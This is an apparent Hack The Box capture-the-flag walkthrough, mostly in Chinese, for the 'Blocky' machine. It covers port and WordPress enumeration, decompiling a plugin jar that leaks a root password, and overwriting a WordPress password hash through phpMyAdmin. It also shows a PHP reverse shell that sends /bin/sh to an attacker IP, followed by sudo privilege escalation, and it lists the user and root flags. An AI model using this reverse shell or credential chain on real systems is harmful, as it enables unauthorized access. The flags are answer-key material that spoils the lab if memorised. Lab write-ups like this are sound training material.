[Meachines] [Easy] Blocky Jar包反编译
信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.37 | TCP:21,22,80,25565 |
$ nmap -p- 10.10.10.37 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://blocky.htb
|_http-server-header: Apache/2.4.18 (Ubuntu)
8192/tcp closed sophos
25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
HTTPD
# echo '10.10.10.37 blocky.htb'>>/etc/hosts
$ wpscan --url http://blocky.htb/ --enumerate u
username:notch
$ dirb http://blocky.htb
http://blocky.htb/plugins/
http://blocky.htb/phpmyadmin/
Jar包反编译
$ wget http://blocky.htb/plugins/files/BlockyCore.jar
$ binwalk BlockyCore.jar
$ foremost BlockyCore.jar
$ cd ./output/zip
$ unzip 00000000.zip
$ cd ./com/myfirstplugin
$ javap -c BlockyCore.class
username:root password:8YsqfCTnvxAUeduzjNSXe22
www-data 权限
phpAdmin登录,更新notch密码
https://www.useotools.com/ru/wordpress-password-hash-generator
$P$BNG7MVQRrgfTW4aREpCCA7Bv80pHmf/
$ip = '10.10.16.6';
$port = 10032;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
$ curl http://blocky.htb/
$ su notch
Password: 8YsqfCTnvxAUeduzjNSXe22
User.txt
23da8f7548a2c1df972caa7fc6ca3b9d
权限提升
$ sudo -l
$ sudo /bin/bash
Root.txt
8e66e7402571816ee90419d1a6eca642